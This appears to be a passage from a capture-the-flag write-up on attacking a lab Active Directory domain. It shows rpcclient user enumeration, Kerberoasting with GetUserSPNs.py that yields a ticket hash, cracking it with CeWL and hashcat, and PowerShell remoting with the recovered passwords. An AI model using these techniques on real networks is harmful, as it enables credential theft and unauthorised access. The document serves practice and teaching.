cprint('\n'.join(lines), 'yellow')
a = input("Press Enter to continue...").lower().strip()
elif a.startswith("e"):
os.kill(os.getpid(), 9)
os.system('/usr/bin/clear')
if __name__ == "__main__":
main()
grades.__file__
'/usr/lib/python3.8/grades.py'
#!/usr/bin/env python3
import getpass
import os
import random
import ast
def get_grades():
possible_class_titles = [
['REIH','Reindeer Husbandry'],
['SLPE','Sleigh Propulsion Engineering'],
['GEOG','Geometry of Gift-Wrapping'],
['CACH','Candy Chemistry'],
['WHOL','World Holiday Literature'],
['NPAR','North Pole Art Appreciation'],
['ELFS','Elf Studies'],
['ESCV','Escape vim'],
['PRDL','Present Delivery Logistics'],
['NNLM','Naughty Nice List Mathematics']
]
possible_class_numbers = ['101','201','301']
possible_grades = ['F','D','C','B','A']
possible_modifiers = ['-','+',' ']
home = f"/home/{getpass.getuser()}"
gfile = f"{home}/.grades"
final_grades = {}
for i in range(random.randrange(4,6)):
c = random.choice(possible_class_titles)
while c[0] in final_grades:
c = random.choice(possible_class_titles)
final_grades[ c[0] ] = [c[0] + random.choice(possible_class_numbers), c[1], (random.choice(possible_grades) + random.choice(possible_modifiers)).replace("F-",'F ').replace("F+",'F ')]
# Shortname, Descr, Grade
if os.path.isfile(gfile):
try:
final_grades = ast.literal_eval(open(gfile,'r').read())
except:
pass
else:
try:
gf = open(gfile,'w')
gf.write(repr(final_grades))
gf.close()
except:
pass
return final_grades
rpcclient 172.17.0.5
rpcclient $> rpcclient $> dir command not found: dir rpcclient $> whoami command not found: whoami rpcclient $> ls command not found: ls rpcclient $> ? --------------- ---------------------- CLUSAPI clusapi_open_cluster bla clusapi_get_cluster_name bla clusapi_get_cluster_version bla clusapi_get_quorum_resource bla clusapi_create_enum bla clusapi_create_enumex bla clusapi_open_resource bla clusapi_online_resource bla clusapi_offline_resource bla clusapi_get_resource_state bla clusapi_get_cluster_version2 bla --------------- ---------------------- WITNESS GetInterfaceList Register UnRegister AsyncNotify RegisterEx --------------- ---------------------- FSRVP fss_is_path_sup Check whether a share supports shadow-copy requests fss_get_sup_version Get supported FSRVP version from server fss_create_expose Request shadow-copy creation and exposure fss_delete Request shadow-copy share deletion fss_has_shadow_copy Check for an associated share shadow-copy fss_get_mapping Get shadow-copy share mapping information fss_recovery_complete Flag read-write snapshot as recovery complete, allowing further shadow-copy requests --------------- ---------------------- WINREG winreg_enumkey Enumerate Keys querymultiplevalues Query multiple values querymultiplevalues2 Query multiple values --------------- ---------------------- EVENTLOG eventlog_readlog Read Eventlog eventlog_numrecord Get number of records eventlog_oldestrecord Get oldest record eventlog_reportevent Report event eventlog_reporteventsource Report event and source eventlog_registerevsource Register event source eventlog_backuplog Backup Eventlog File eventlog_loginfo Get Eventlog Information --------------- ---------------------- DRSUAPI dscracknames Crack Name dsgetdcinfo Get Domain Controller Info dsgetncchanges Get NC Changes dswriteaccountspn Write Account SPN --------------- ---------------------- NTSVCS ntsvcs_getversion Query NTSVCS version ntsvcs_validatedevinst Query NTSVCS device instance ntsvcs_hwprofflags Query NTSVCS HW prof flags ntsvcs_hwprofinfo Query NTSVCS HW prof info ntsvcs_getdevregprop Query NTSVCS device registry property ntsvcs_getdevlistsize Query NTSVCS device list size ntsvcs_getdevlist Query NTSVCS device list --------------- ---------------------- WKSSVC wkssvc_wkstagetinfo Query WKSSVC Workstation Information wkssvc_getjoininformation Query WKSSVC Join Information wkssvc_messagebuffersend Send WKSSVC message wkssvc_enumeratecomputernames Enumerate WKSSVC computer names wkssvc_enumerateusers Enumerate WKSSVC users --------------- ---------------------- TESTING testme Sample test --------------- ---------------------- SHUTDOWN --------------- ---------------------- EPMAPPER epmmap Map a binding epmlookup Lookup bindings --------------- ---------------------- ECHO echoaddone Add one to a number echodata Echo data sinkdata Sink data sourcedata Source data --------------- ---------------------- DFS dfsversion Query DFS support dfsadd Add a DFS share dfsremove Remove a DFS share dfsgetinfo Query DFS share info dfsenum Enumerate dfs shares dfsenumex Enumerate dfs shares --------------- ---------------------- SRVSVC srvinfo Server query info netshareenum Enumerate shares netshareenumall Enumerate all shares netsharegetinfo Get Share Info netsharesetinfo Set Share Info netsharesetdfsflags Set DFS flags netfileenum Enumerate open files netremotetod Fetch remote time of day netnamevalidate Validate sharename netfilegetsec Get File security netsessdel Delete Session netsessenum Enumerate Sessions netdiskenum Enumerate Disks netconnenum Enumerate Connections netshareadd Add share netsharedel Delete share --------------- ---------------------- NETLOGON logonctrl2 Logon Control 2 getanydcname Get trusted DC name getdcname Get trusted PDC name dsr_getdcname Get trusted DC name dsr_getdcnameex Get trusted DC name dsr_getdcnameex2 Get trusted DC name dsr_getsitename Get sitename dsr_getforesttrustinfo Get Forest Trust Info logonctrl Logon Control samlogon Sam Logon change_trust_pw Change Trust Account Password gettrustrid Get trust rid dsr_enumtrustdom Enumerate trusted domains dsenumdomtrusts Enumerate all trusted domains in an AD forest deregisterdnsrecords Deregister DNS records netrenumtrusteddomains Enumerate trusted domains netrenumtrusteddomainsex Enumerate trusted domains getdcsitecoverage Get the Site-Coverage from a DC capabilities Return Capabilities --------------- ---------------------- IRemoteWinspool winspool_AsyncOpenPrinter Open printer handle winspool_AsyncCorePrinterDriverInstalled Query Core Printer Driver Installed --------------- ---------------------- SPOOLSS adddriver Add a print driver addprinter Add a printer deldriver Delete a printer driver deldriverex Delete a printer driver with files enumdata Enumerate printer data enumdataex Enumerate printer data for a key enumkey Enumerate printer keys enumjobs Enumerate print jobs getjob Get print job setjob Set print job enumports Enumerate printer ports enumdrivers Enumerate installed printer drivers enumprinters Enumerate printers getdata Get print driver data getdataex Get printer driver data with keyname getdriver Get print driver information getdriverdir Get print driver upload directory getdriverpackagepath Get print driver package download directory getprinter Get printer info openprinter Open printer handle openprinter_ex Open printer handle setdriver Set printer driver getprintprocdir Get print processor directory addform Add form setform Set form getform Get form deleteform Delete form enumforms Enumerate forms setprinter Set printer comment setprintername Set printername setprinterdata Set REG_SZ printer data rffpcnex Rffpcnex test printercmp Printer comparison test enumprocs Enumerate Print Processors enumprocdatatypes Enumerate Print Processor Data Types enummonitors Enumerate Print Monitors createprinteric Create Printer IC playgdiscriptonprinteric Create Printer IC --------------- ---------------------- SAMR queryuser Query user info querygroup Query group info queryusergroups Query user groups queryuseraliases Query user aliases querygroupmem Query group membership queryaliasmem Query alias membership queryaliasinfo Query alias info deletealias Delete an alias querydispinfo Query display info querydispinfo2 Query display info querydispinfo3 Query display info querydominfo Query domain info enumdomusers Enumerate domain users enumdomgroups Enumerate domain groups enumalsgroups Enumerate alias groups enumdomains Enumerate domains createdomuser Create domain user createdomgroup Create domain group createdomalias Create domain alias samlookupnames Look up names samlookuprids Look up names deletedomgroup Delete domain group deletedomuser Delete domain user samquerysecobj Query SAMR security object getdompwinfo Retrieve domain password info getusrdompwinfo Retrieve user domain password info lookupdomain Lookup Domain Name chgpasswd Change user password chgpasswd2 Change user password chgpasswd3 Change user password getdispinfoidx Get Display Information Index setuserinfo Set user info setuserinfo2 Set user info2 --------------- ---------------------- LSARPC-DS dsroledominfo Get Primary Domain Information --------------- ---------------------- LSARPC lsaquery Query info policy lookupsids Convert SIDs to names lookupsids3 Convert SIDs to names lookupsids_level Convert SIDs to names lookupnames Convert names to SIDs lookupnames4 Convert names to SIDs lookupnames_level Convert names to SIDs enumtrust Enumerate trusted domains enumprivs Enumerate privileges getdispname Get the privilege name lsaenumsid Enumerate the LSA SIDS lsacreateaccount Create a new lsa account lsaenumprivsaccount Enumerate the privileges of an SID lsaenumacctrights Enumerate the rights of an SID lsaaddpriv Assign a privilege to a SID lsadelpriv Revoke a privilege from a SID lsaaddacctrights Add rights to an account lsaremoveacctrights Remove rights from an account lsalookupprivvalue Get a privilege value given its name lsaquerysecobj Query LSA security object lsaquerytrustdominfo Query LSA trusted domains info (given a SID) lsaquerytrustdominfobyname Query LSA trusted domains info (given a name), only works for Windows > 2k lsaquerytrustdominfobysid Query LSA trusted domains info (given a SID) lsasettrustdominfo Set LSA trusted domain info getusername Get username createsecret Create Secret deletesecret Delete Secret querysecret Query Secret setsecret Set Secret retrieveprivatedata Retrieve Private Data storeprivatedata Store Private Data createtrustdom Create Trusted Domain deletetrustdom Delete Trusted Domain --------------- ---------------------- GENERAL OPTIONS help Get help on commands ? Get help on commands debuglevel Set debug level debug Set debug level list List available commands onexit Exit program quit Exit program sign Force RPC pipe connections to be signed seal Force RPC pipe connections to be sealed packet Force RPC pipe connections with packet authentication level schannel Force RPC pipe connections to be sealed with 'schannel'. Assumes valid machine account to this domain controller. schannelsign Force RPC pipe connections to be signed (not sealed) with 'schannel'. Assumes valid machine account to this domain controller. timeout Set timeout (in milliseconds) for RPC operations transport Choose ncacn transport for RPC operations none Force RPC pipe connections to have no special properties rpcclient $> netshareenumall netname: netlogon remark: path: C:\var\lib\samba\sysvol\elfu.local\scripts password: netname: sysvol remark: path: C:\var\lib\samba\sysvol password: netname: elfu_svc_shr remark: elfu_svc_shr path: C:\elfu_svc_shr password: netname: research_dep remark: research_dep path: C:\research_dep password: netname: IPC$ remark: IPC Service (Samba 4.3.11-Ubuntu) path: C:\tmp password: rpcclient $> enumdomusers user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[admin] rid:[0x3e8] user:[elfu_admin] rid:[0x450] user:[elfu_svc] rid:[0x451] user:[remote_elf] rid:[0x452] user:[ulyssesross] rid:[0x455] user:[bobolson] rid:[0x457] user:[raulpenrod] rid:[0x459] user:[charleneneptune] rid:[0x45b] user:[xavierzebra] rid:[0x45d] user:[victoriacharles] rid:[0x45f] user:[paulyankee] rid:[0x461] user:[ulyssestrebek] rid:[0x463] user:[lukeyankee] rid:[0x465] user:[paulhankerson] rid:[0x467] user:[quincyjones] rid:[0x469] user:[maryhankerson] rid:[0x46b] user:[ulyssespenrod] rid:[0x46d] user:[charlenesmith] rid:[0x46f] user:[ulysseslovering] rid:[0x471] user:[hankqueior] rid:[0x473] user:[ednamoss] rid:[0x475] user:[hankgeorge] rid:[0x477] user:[yolandayankee] rid:[0x479] user:[wandaneptune] rid:[0x47b] user:[forrestvictoria] rid:[0x47d] user:[jorgetrebek] rid:[0x47f] user:[zeldaellis] rid:[0x481] user:[samanthazebra] rid:[0x483] user:[noahgeorge] rid:[0x485] user:[quincycharles] rid:[0x487] user:[paulvictoria] rid:[0x489] user:[xavierirving] rid:[0x48b] user:[wandayankee] rid:[0x48d] user:[yolandaabbott] rid:[0x48f] user:[victoriageorge] rid:[0x491] user:[forrestcharles] rid:[0x493] user:[opheliaolson] rid:[0x495] user:[xavierdruidia] rid:[0x497] user:[gildapenrod] rid:[0x499] user:[opheliakilleen] rid:[0x49b] user:[bobross] rid:[0x49d] user:[ingridbinford] rid:[0x49f] user:[yolandabinford] rid:[0x4a1] user:[trevorbinford] rid:[0x4a3] user:[samanthatrebek] rid:[0x4a5] user:[dwanekilleen] rid:[0x4a7] user:[alicefox] rid:[0x4a9] user:[marydruidia] rid:[0x4ab] user:[kimkilleen] rid:[0x4ad] user:[lukegeorge] rid:[0x4af] user:[xavierolson] rid:[0x4b1] user:[maryvictoria] rid:[0x4b3] user:[opheliazebra] rid:[0x4b5] user:[quincytrebek] rid:[0x4b7] user:[bobdruidia] rid:[0x4b9] user:[opheliasmith] rid:[0x4bb] user:[zeldacharles] rid:[0x4bd] user:[gildairving] rid:[0x4bf] user:[quincyyankee] rid:[0x4c1] user:[noahfox] rid:[0x4c3] user:[bobsmith] rid:[0x4c5] user:[forrestyankee] rid:[0x4c7] user:[gildajones] rid:[0x4c9] user:[hankhankerson] rid:[0x4cb] user:[hankjones] rid:[0x4cd] user:[zeldaross] rid:[0x4cf] user:[hankbinford] rid:[0x4d1] user:[lukefox] rid:[0x4d3] user:[trevorellis] rid:[0x4d5] user:[xavierabbott] rid:[0x4d7] user:[jorgesmith] rid:[0x4d9] user:[opheliajones] rid:[0x4db] user:[hankvictoria] rid:[0x4dd] user:[ulyssesirving] rid:[0x4df] user:[hankabbott] rid:[0x4e1] user:[bobulrich] rid:[0x4e3] user:[kimxavier] rid:[0x4e5] user:[quincydruidia] rid:[0x4e7] user:[alicehankerson] rid:[0x4e9] user:[opheliaellis] rid:[0x4eb] user:[quincylovering] rid:[0x4ed] user:[paulxavier] rid:[0x4ef] user:[victoriawashington] rid:[0x4f1] user:[bobbinford] rid:[0x4f3] user:[zeldairving] rid:[0x4f5] user:[jorgepenrod] rid:[0x4f7] user:[samanthairving] rid:[0x4f9] user:[ulyssesgeorge] rid:[0x4fb] user:[ednabinford] rid:[0x4fd] user:[jorgehankerson] rid:[0x4ff] user:[marywashington] rid:[0x501] user:[raulsmith] rid:[0x503] user:[quincygeorge] rid:[0x505] user:[victoriavictoria] rid:[0x507] user:[ingridzebra] rid:[0x509] user:[quincyellis] rid:[0x50b] user:[opheliayankee] rid:[0x50d] user:[noahyankee] rid:[0x50f] user:[bobirving] rid:[0x511] user:[victoriaqueior] rid:[0x513] user:[charleneellis] rid:[0x515] user:[samanthaneptune] rid:[0x517] user:[ednajones] rid:[0x519] user:[jorgebinford] rid:[0x51b] user:[wandafox] rid:[0x51d] user:[alicejones] rid:[0x51f] user:[luketrebek] rid:[0x521] user:[samanthaolson] rid:[0x523] user:[forrestneptune] rid:[0x525] user:[ingridxavier] rid:[0x527] user:[maryyankee] rid:[0x529] user:[lukeirving] rid:[0x52b] user:[bobmoss] rid:[0x52d] user:[marykilleen] rid:[0x52f] user:[kimneptune] rid:[0x531] user:[yolandaneptune] rid:[0x533] user:[yolandapenrod] rid:[0x535] user:[marytrebek] rid:[0x537] user:[alicewashington] rid:[0x539] user:[marysmith] rid:[0x53b] user:[trevorkilleen] rid:[0x53d] user:[ingridneptune] rid:[0x53f] user:[charlenexavier] rid:[0x541] user:[samanthahankerson] rid:[0x543] user:[paulross] rid:[0x545] user:[victoriadruidia] rid:[0x547] user:[ednaulrich] rid:[0x549] user:[opheliamoss] rid:[0x54b] user:[noahulrich] rid:[0x54d] user:[raulgeorge] rid:[0x54f] user:[maryqueior] rid:[0x551] user:[quincyfox] rid:[0x553] user:[dwaneyankee] rid:[0x555] user:[zeldaabbott] rid:[0x557] user:[alicedruidia] rid:[0x559] user:[bobxavier] rid:[0x55b] user:[zeldalovering] rid:[0x55d] user:[hankzebra] rid:[0x55f] user:[rauldruidia] rid:[0x561] user:[quincywashington] rid:[0x563] user:[ednalovering] rid:[0x565] user:[wandabinford] rid:[0x567] user:[zeldabinford] rid:[0x569] user:[paulirving] rid:[0x56b] user:[samanthadruidia] rid:[0x56d] user:[rauljones] rid:[0x56f] user:[dwanewashington] rid:[0x571] user:[gildalovering] rid:[0x573] user:[dwaneneptune] rid:[0x575] user:[wandaqueior] rid:[0x577] user:[ingridqueior] rid:[0x579] user:[wandaellis] rid:[0x57b] user:[hankirving] rid:[0x57d] user:[kimabbott] rid:[0x57f] user:[wandageorge] rid:[0x581] user:[victoriazebra] rid:[0x583] user:[wandawashington] rid:[0x585] user:[ulyssesfox] rid:[0x587] user:[charlenecharles] rid:[0x589] user:[victoriaolson] rid:[0x58b] user:[jorgejones] rid:[0x58d] user:[bobtrebek] rid:[0x58f] user:[noahdruidia] rid:[0x591] user:[lukeulrich] rid:[0x593] user:[paulsmith] rid:[0x595] user:[dwaneross] rid:[0x597] user:[paulwashington] rid:[0x599] user:[ednadruidia] rid:[0x59b] user:[trevorpenrod] rid:[0x59d] user:[quincyabbott] rid:[0x59f] user:[paulolson] rid:[0x5a1] user:[alicebinford] rid:[0x5a3] user:[kimhankerson] rid:[0x5a5] user:[dwanehankerson] rid:[0x5a7] user:[charlenejones] rid:[0x5a9] user:[yolandakilleen] rid:[0x5ab] user:[victorianeptune] rid:[0x5ad] user:[noahvictoria] rid:[0x5af] user:[opheliahankerson] rid:[0x5b1] user:[gildakilleen] rid:[0x5b3] user:[aliceolson] rid:[0x5b5] user:[trevorolson] rid:[0x5b7] user:[gildacharles] rid:[0x5b9] user:[jorgefox] rid:[0x5bb] user:[kimwashington] rid:[0x5bd] user:[lukekilleen] rid:[0x5bf] user:[victoriaabbott] rid:[0x5c1] user:[ingridgeorge] rid:[0x5c3] user:[raulyankee] rid:[0x5c5] user:[dwanemoss] rid:[0x5c7] user:[zeldakilleen] rid:[0x5c9] user:[ingridvictoria] rid:[0x5cb] user:[gildaabbott] rid:[0x5cd] user:[ulyssesbinford] rid:[0x5cf] user:[noaholson] rid:[0x5d1] user:[quincyxavier] rid:[0x5d3] user:[jorgeolson] rid:[0x5d5] user:[ulyssesxavier] rid:[0x5d7] user:[alicequeior] rid:[0x5d9] user:[ednaabbott] rid:[0x5db] user:[lukedruidia] rid:[0x5dd] user:[opheliatrebek] rid:[0x5df] user:[ingridfox] rid:[0x5e1] user:[ulyssesolson] rid:[0x5e3] user:[raultrebek] rid:[0x5e5] user:[test] rid:[0x60f] user:[qcljgnpsjl] rid:[0x610] user:[uwdgunvfln] rid:[0x611] user:[wjwnojisdx] rid:[0x612] user:[xdtqjfinpd] rid:[0x613] user:[aaigvfsuza] rid:[0x614] user:[cojbecjcwu] rid:[0x615] user:[jjwxlrkpts] rid:[0x616] user:[ijshkhssxd] rid:[0x617] user:[dbevvcejny] rid:[0x618] user:[yxjpnjkzii] rid:[0x619] user:[qcrimzlsnu] rid:[0x61a] user:[gqognrrjri] rid:[0x61b] user:[gheuggozuu] rid:[0x61c] user:[dsqzwuexzb] rid:[0x61d] user:[rflkkildwi] rid:[0x61e] user:[nvbltrzizx] rid:[0x61f] user:[qzqxqlqbxa] rid:[0x620] user:[pxcxxicodh] rid:[0x621] user:[xvjxawxtce] rid:[0x622] user:[psmifmgudo] rid:[0x623] user:[bngiyfhmzs] rid:[0x624] user:[tlcrdddprf] rid:[0x625] user:[ckezrjqxua] rid:[0x627] user:[cadoclsztx] rid:[0x628] user:[dwsqppodce] rid:[0x629] user:[ntmzoitzsy] rid:[0x62a] user:[vawbodlypr] rid:[0x62b] user:[jylmhafhzc] rid:[0x62c] user:[vokguioyhg] rid:[0x62d] user:[jrelqrltit] rid:[0x62e] user:[jqrmefvsoo] rid:[0x62f] user:[iqytuvjazj] rid:[0x630] user:[vtprbgqurk] rid:[0x631] user:[curbvknvsf] rid:[0x632] user:[gzldmywtqp] rid:[0x633] user:[zsfhffdmdg] rid:[0x634] user:[jnjebpgcdp] rid:[0x635] user:[bgcrcglzcx] rid:[0x636] user:[myafgxotah] rid:[0x637] user:[sicsciofge] rid:[0x638] user:[fbsjgeyymg] rid:[0x639] user:[rhkwapqkvy] rid:[0x63a] user:[pgsskmkkhb] rid:[0x63b] user:[drkxpeefnz] rid:[0x63c] user:[wwdjcvtakz] rid:[0x63d] user:[agmzrsrszq] rid:[0x63e] user:[zhbqapbuql] rid:[0x63f] user:[juinvmiyvi] rid:[0x640] user:[gfqphuqbgi] rid:[0x641] user:[lyrycoitvj] rid:[0x642] user:[ibtsycjdtz] rid:[0x643] user:[quyvsksmtf] rid:[0x644] user:[ftdefieavg] rid:[0x645] user:[mmwamkowph] rid:[0x646] user:[wvqkwapitx] rid:[0x647] user:[kdhwidjrnf] rid:[0x648] user:[hlwkoobqjl] rid:[0x649] user:[oxudyxavlg] rid:[0x64a] user:[vtdyjmcexj] rid:[0x64b] user:[xrijfictlx] rid:[0x64c] user:[okaizwuncm] rid:[0x64d] user:[tfoezhsibn] rid:[0x64e] user:[iuwuvckfvi] rid:[0x64f] user:[detnfajrkq] rid:[0x650] user:[vvdafpikok] rid:[0x651] user:[yjapzwoqqb] rid:[0x652] user:[muxmiimshw] rid:[0x653] user:[cznwgmgfbw] rid:[0x654] user:[qlpfensbou] rid:[0x655] user:[gxpckgrpwa] rid:[0x656] user:[uvpynpfdne] rid:[0x657] user:[qabaypaoes] rid:[0x658] user:[sapdfhwxbr] rid:[0x659] user:[ftcngoczhx] rid:[0x65a] user:[cvlerxwoso] rid:[0x65b] user:[sinikbbvuf] rid:[0x65c] user:[fnuimrmlhx] rid:[0x65d] user:[szreapaybk] rid:[0x65e] user:[kvaqdwnawi] rid:[0x65f] user:[isoshsbork] rid:[0x660] user:[ucxzgxwlqh] rid:[0x661] user:[ftbbjampsi] rid:[0x662] user:[twemnvixoz] rid:[0x663] user:[fzpabmhyry] rid:[0x664]
Results of trying to access the SMB drives, which at least told me which drives exist.
psexec.py 172.17.0.5
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on 172.17.0.5.....
[-] share 'netlogon' is not writable.
[-] share 'sysvol' is not writable.
[-] share 'elfu_svc_shr' is not writable.
[-] share 'research_dep' is not writable.
psexec.py 172.17.0.4
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on 172.17.0.3.....
[-] share 'ElfUFiles' is not writable.
psexec.py 172.17.0.3
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on 172.17.0.3.....
[-] share 'ElfUFiles' is not writable.
A check to see if the http servers had any vulnerabilities (the version currently doesn't), followed by curl http://172.17.0.1
to each which suggests they just redirect to the register server.
An attempt to use PoSh (PowerShell for Unix)
As soon as I typed anything, this failed withSystem.DivideByZeroException: Attempted to divide by zero.
Eventually I found that could be fixed using stty columns 185 rows 50
Attempts to connect to the DC
$password = ConvertTo-SecureString "Lkvxyyxjy#" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList ("grades.elfu.local\\zflykmuelb", $password)
Enter-PSSession -ComputerName share30.elfu.local -Credential $creds -Authentication Negotiate
which just failed with the unhelpful MI_RESULT_FAILED For more information, see the about_Remote_Troubleshooting Help topic., even with -Verbose
.
Privilege Escalation
I tried running
GetUserSPNs.py -dc-ip 172.17.0.5 share30.elfu.local/zflykmuelb:'Lkvxyyxjy#'
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[-] list index out of range
with elfu.local and elfu as the domain names, but they all received the same error. Using the -debug
option didn't provide any light on the issue, so that threw me off for a long time (and caused many of the rabbit holes noted above), but eventually, I tried removing the DC:
GetUserSPNs.py elfu.local/zflykmuelb:'Lkvxyyxjy#' -request
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[+] Impacket Library Installation Path: /usr/local/lib/python3.8/dist-packages/impacket
[+] Connecting to elfu.local, port 389, SSL False
[+] Total of records returned 4
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------------------- -------- -------- -------------------------- -------------------------- ----------
ldap/elfu_svc/elfu elfu_svc 2021-10-29 19:25:04.305279 2022-01-01 03:12:40.280599
ldap/elfu_svc/elfu.local elfu_svc 2021-10-29 19:25:04.305279 2022-01-01 03:12:40.280599
ldap/elfu_svc.elfu.local/elfu elfu_svc 2021-10-29 19:25:04.305279 2022-01-01 03:12:40.280599
ldap/elfu_svc.elfu.local/elfu.local elfu_svc 2021-10-29 19:25:04.305279 2022-01-01 03:12:40.280599
[+] Trying to connect to KDC at ELFU.LOCAL
[+] Trying to connect to KDC at ELFU.LOCAL
[+] Trying to connect to KDC at ELFU.LOCAL
$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$44995e9bf6e2c60c373abd9c492fa7f6$80bff64555854a9365b4d6a377d50551cfbb151d681a382d10b9aff40ec9c79a633b975a701ebcfe9874b423939ba4ddba6c50707df4979b778e5969ecde498faddae07ec28ba41e20dbc3173e55d3038ae4f484e59811906a4cd8ecc4ad6e78cad266f3879396f263a9b84dc063fac9e02a669161923f538fd06ff3bb4162ab43c7af2e1a6f395baaeae2736e66125d5cb5953d62a5931cd9cf935d4ea1e085965d633800c52a876b12ef1ae4b77a057ac56c8695964dc43fc3b9f054c522b0de15333b72b312d7d603ad526f7f06e71b3f1cbbd3f614f5368be01af9b14a7e6792b04383dd2cec3bef2698f09373fa1774aa9232c210f19d2d0614eba83bb3eebffda74f328bd59e9607cea76508b72fd9de63b079d057b32073ed8ce682e5af2ab3cfae434427008f7293d67a8973e0ce7d210a70a6a59907d31aec9799ef0124790e49356e4df5df849d095b28e72495b819d587a59b12718fd40c623244c84f5a6088fbf873964ba1ae1ae9ec58b43f20bb4d7d2f0a7434fc02f27cb2d3b794a54848dba5f0eea6e7dac20f64d03d6bb3c5f2585b0c10bf1a276b8a19374c22ef0489c19f156d53b2f5ab026c08cc9a2a9b323a16a368e3345aad62c6153f126740ddb1d0129a1cef1173506ad7cf9d18c9d42ba50b1a4fe4650c8c119113d121ed3d15cef8c63f6efccdc062c1c90c9b8a44bf9a28472d79ef3c3b0c65249def70fa49a812c435f4a69b3e3b835a529ef7b5d510407f4a91ec4bbbb47a94cb1ae98992c025d13a9acabfab54094eb9634d68e8d2e6681970665972f10abdf735097447cec27cfb90d07919828efcff48f2f808ae11aba015cedd97c13703b826fc4f7d1176324387a5ba809e61defb8f5b84fab48eef732a0f06360fd3f0d6920a9791ac92848080023057607b02c583027e75fe9aa2495e4f26c9792efb593687e1e9f2c88f4525d82572cc6a6f65d7d5375506bb804cf9b9f645f6c8214c5d2bb0c57f1e503c2880f6a969d99e04fe0b23c33c99ebd8db5a2e48bbcd1190af86f586766823183b4cf3349e9aab972da31080b9f8f5eb10bbbf0a2b71cb6fc03762da020634d8ace0867538a0f9a921e1ade2df5534baac1a1fba43b1f34b771559c754db5809b271ef9ee001a3ba8d1269ec582a65b9d4ee757fb19e894e7f7cd18acc40068fdf03e1fd451a53467366172ef9c380e546edd0eceeedec4e7d376833193ce686ecd97138cac3bfd327a2f364e04867338584437b0935ef94b5f5b6201c0e21d43ad6e3072b1381be0e1798d3ad74a57c0e7704ddf480e032f0809f30e364610c8570bcc801f8ca50f8afe1bba43fa248605861bfa63fb847f81bb99963e916802d84b139d5c51cef70c8e5f4335c799f16c6972c8de640162eac10ddfd097344f19f8ef41ddf9cbbfc79847892c83eaf739861d7b6ba4cab8afdd5
Since writing my writeup, I have a better idea of why it wasn't working. Here's that knowledge if you'd like to be ahead
According to the script, the dc-ip only needs to be specified if we don't want to use the FQDN specified in the domain. So it's resolving elfu.local correctly, but 172.17.0.5 isn't correct. The host doesn't have any of the normal DNS resolvers that I can think of (no dig, nslookup, host), but it does have curl:
curl elfu.local -v
* Trying 10.128.1.53:80
so that's definitely not the IP I was using. It seems there's something preventing 172* addresses but allowing 10* addresses. Using -dc-ip 10.128.1.53
works, and would have been useful to figure out at the time.
Now we have a hash, we just have to crack it!
Initially, I tried using rockyou.txt, to no luck. Perhaps the strange comment on the register page is relevant? Eve gave us the hint to use Cewl and OneRuleToRuleThemAll, so I'll assume it is relevant and just use the register page. If that doesn't work, it could be worth specifying a depth and making Cewl search more pages.
cewl https://register.elfu.org/register --with-numbers
hashcat -m 13100 -a 0 <spnfile> --potfile-disable -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule --force -O -w 4 --opencl-device-types 1,2 <wordlist>
One mistake I made was to try to copy the hash results from GetUserSPNs.py rather than making it directly create a file. After fixing this, and using the correct input, hashcat found the password: Snow2021!
More Privilege Escalation
So now we can finally access the domain controller:
$password = ConvertTo-SecureString "Snow2021!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu\elfu_svc", $password)
Enter-PSSession -ComputerName 172.17.0.5 -Credential $creds -Authentication Negotiate
MI_RESULT_FAILED For more information, see the about_Remote_Troubleshooting Help topic.
ah shoot; that did not work.
Cue another very long side-track of not knowing what to do (mostly due to a silly mistake)
- Can we switch to elfu_svc locally? Nope,
su
reports the user does not exist rpcclient
to the domain controller denies accessrpcclient --user=elfu.local/elfu_svc 172.17.0.3
just show the ELFU and BUILTIN domainspsexec.py 'elfu_svc:Snow2021!@172.17.0.3'
still shows the shares aren't writable, but surely elfu_svc_shr should be readable?-
/bin/smbclient --ip-address=172.17.0.3 --user=elf_svc --workgroup=elfu.local -L elfu_svc_shr NT_STATUS_LOGON_FAILURE
-
GetNPUsers.py elfu.local/elf_svc:Snow2021! -request -format hashcat -outputfile npu.txt Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation [*] Cannot authenticate elf_svc, getting its TGT [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
-
samrdump.py -port 445 'elfu.local/elf_svc:Snow2021!@172.17.0.4' Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation [*] Retrieving endpoint list from 172.17.0.4 Found domain(s): . SHARE . Builtin [*] Looking up users in domain SHARE Found user: alabaster, uid = 1000 alabaster (1000)/FullName: Linux User alabaster (1000)/UserComment: alabaster (1000)/PrimaryGroupId: 513 alabaster (1000)/BadPasswordCount: 0 alabaster (1000)/LogonCount: 0 alabaster (1000)/PasswordLastSet: 2022-01-01 08:01:32 alabaster (1000)/PasswordDoesNotExpire: False alabaster (1000)/AccountIsDisabled: False alabaster (1000)/ScriptPath:
- Out of ideas, I dumped the commands on the server to see if any of those would be useful:
